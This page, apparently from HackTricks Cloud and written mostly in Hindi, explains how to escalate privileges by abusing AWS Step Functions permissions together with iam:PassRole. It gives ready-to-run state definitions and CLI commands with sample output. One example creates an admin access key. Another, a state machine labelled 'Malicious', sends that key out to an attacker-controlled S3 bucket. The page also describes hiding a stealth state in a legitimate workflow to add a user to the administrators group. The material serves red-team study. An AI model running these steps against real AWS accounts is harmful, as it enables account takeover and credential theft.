AWS - Step Functions Privesc
Reading time: 9 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Step Functions
For more information about this AWS service, check:
टास्क संसाधन
इन privilege escalation तकनीकों के लिए कुछ AWS Step Functions resources का उपयोग करना आवश्यक होगा ताकि इच्छित privilege escalation कार्रवाइयाँ की जा सकें।
सभी संभावित actions की जाँच करने के लिए, आप अपने AWS account में जाकर वह action चुन सकते हैं जिसे आप उपयोग करना चाहते हैं और उसके द्वारा उपयोग किए जा रहे parameters देख सकते हैं, जैसा कि:

या आप API AWS documentation में जाकर प्रत्येक action के docs भी देख सकते हैं:
states:TestState & iam:PassRole
यदि किसी हमलावर के पास states:TestState और iam:PassRole permissions हों, तो वह किसी भी state का परीक्षण कर सकता है और बिना किसी मौजूदा state machine को बनाने या अपडेट किए किसी भी IAM role को उसे पास कर सकता है। इससे रोल्स की permissions के साथ अन्य AWS services तक अनधिकृत पहुँच संभव हो सकती है। ये permissions मिलकर व्यापक अनधिकृत क्रियाओं का कारण बन सकती हैं — workflows में छेड़छाड़, डेटा में परिवर्तन, डेटा breaches, संसाधन हेरफेर और privilege escalation।
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
निम्न उदाहरण दिखाते हैं कि कैसे उन permissions और AWS वातावरण की एक permissive role का उपयोग करके एक state का परीक्षण किया जाए जो admin उपयोगकर्ता के लिए एक access key बनाता है। यह permissive role किसी भी high-privileged policy के साथ जुड़ा होना चाहिए (उदाहरण के लिए arn:aws:iam::aws:policy/AdministratorAccess) जो state को iam:CreateAccessKey action करने की अनुमति देता हो:
- stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
- Command privesc को अंजाम देने के लिए निष्पादित किया गया:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
संभावित प्रभाव: वर्कफ़्लो का अनधिकृत निष्पादन और हेरफेर तथा संवेदनशील संसाधनों तक पहुँच, जिससे गंभीर सुरक्षा उल्लंघन हो सकते हैं।
states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)
एक हमलावर जिसके पास states:CreateStateMachine और iam:PassRole अनुमतियाँ हों, एक state machine बना सकता है और उसे किसी भी IAM role असाइन कर सकता है, जिससे उस role की permissions के साथ अन्य AWS सेवाओं तक अनधिकृत पहुँच संभव हो जाती है। पिछले privesc तकनीक (states:TestState और iam:PassRole) के विपरीत, यह स्वयं स्वतः निष्पादित नहीं होता — state machine की execution शुरू करने के लिए आपके पास states:StartExecution या states:StartSyncExecution अनुमतियाँ भी होनी चाहिए (states:StartSyncExecution मानक workflows के लिए उपलब्ध नहीं है, यह केवल express state machines के लिए है)।
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
निम्न उदाहरण दिखाते हैं कि कैसे एक state machine बनाई जाए जो admin उपयोगकर्ता के लिए एक access key बनाती है और इस access key को हमलावर-नियंत्रित S3 bucket में बाहर निकालती है, इन permissions और AWS environment की एक permissive role का लाभ उठाते हुए। इस permissive role के साथ कोई भी उच्च-प्रिविलेज्ड policy जुड़ी होनी चाहिए (उदाहरण के लिए arn:aws:iam::aws:policy/AdministratorAccess) जो state machine को iam:CreateAccessKey और s3:putObject actions करने की अनुमति दे।
- stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
- Command जो state machine बनाने के लिए चलाया गया:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
- कमांड जो पहले बनाए गए state machine की execution शुरू करने के लिए चलाया गया:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
warning
हमलावर-नियंत्रित S3 bucket के पास पीड़ित खाते से s3:PutObject action स्वीकार करने की permissions होनी चाहिए।
संभावित प्रभाव: वर्कफ़्लोज़ का अनाधिकृत निष्पादन और हेरफेर तथा संवेदनशील संसाधनों तक पहुंच, जो संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों का कारण बन सकती है।
states:UpdateStateMachine & (हमेशा आवश्यक नहीं) iam:PassRole
जिसके पास states:UpdateStateMachine permission है, वह state machine की definition को संशोधित कर सकता है, और अतिरिक्त stealthy states जोड़ सकता है जो अंततः privilege escalation में समाप्त हो सकते हैं। इस तरह, जब कोई वैध उपयोगकर्ता state machine का execution शुरू करेगा, तो यह नया malicious stealth state निष्पादित होगा और privilege escalation सफल होगा।
state machine से जुड़ा IAM Role कितना permissive है, इस पर निर्भर करते हुए, हमलावर को 2 परिस्थितियों का सामना करना पड़ सकता है:
- Permissive IAM Role: अगर state machine से जुड़ा IAM Role पहले से permissive है (उदाहरण के लिए उस पर
arn:aws:iam::aws:policy/AdministratorAccesspolicy संलग्न है), तो privilege escalation के लिएiam:PassRolepermission आवश्यक नहीं होगा क्योंकि IAM Role को भी अपडेट करने की जरूरत नहीं पड़ेगी — केवल state machine की definition पर्याप्त होगी। - Not permissive IAM Role: पिछले मामले के विपरीत, यहाँ हमलावर को
iam:PassRolepermission भी चाहिए होगा क्योंकि state machine की definition को बदलने के साथ-साथ एक permissive IAM Role को state machine से जोड़ना भी आवश्यक होगा।
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user unprivilegedUser to the administrator IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful.
warning
यदि state machine के साथ कोई permissive IAM Role associated नहीं है, तो permissive IAM Role को associate करने के लिए IAM Role को update करने हेतु iam:PassRole permission भी आवश्यक होगा (उदाहरण के लिए ऐसा Role जिस पर arn:aws:iam::aws:policy/AdministratorAccess policy attached हो)।
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
- कमांड जिसे वैध state machine को अपडेट करने के लिए निष्पादित किया गया:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
संभावित प्रभाव: अनधिकृत रूप से वर्कफ़्लो का निष्पादन और हेरफेर तथा संवेदनशील संसाधनों तक पहुँच, जो संभावित रूप से गंभीर सुरक्षा उल्लंघनों का कारण बन सकती है।
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud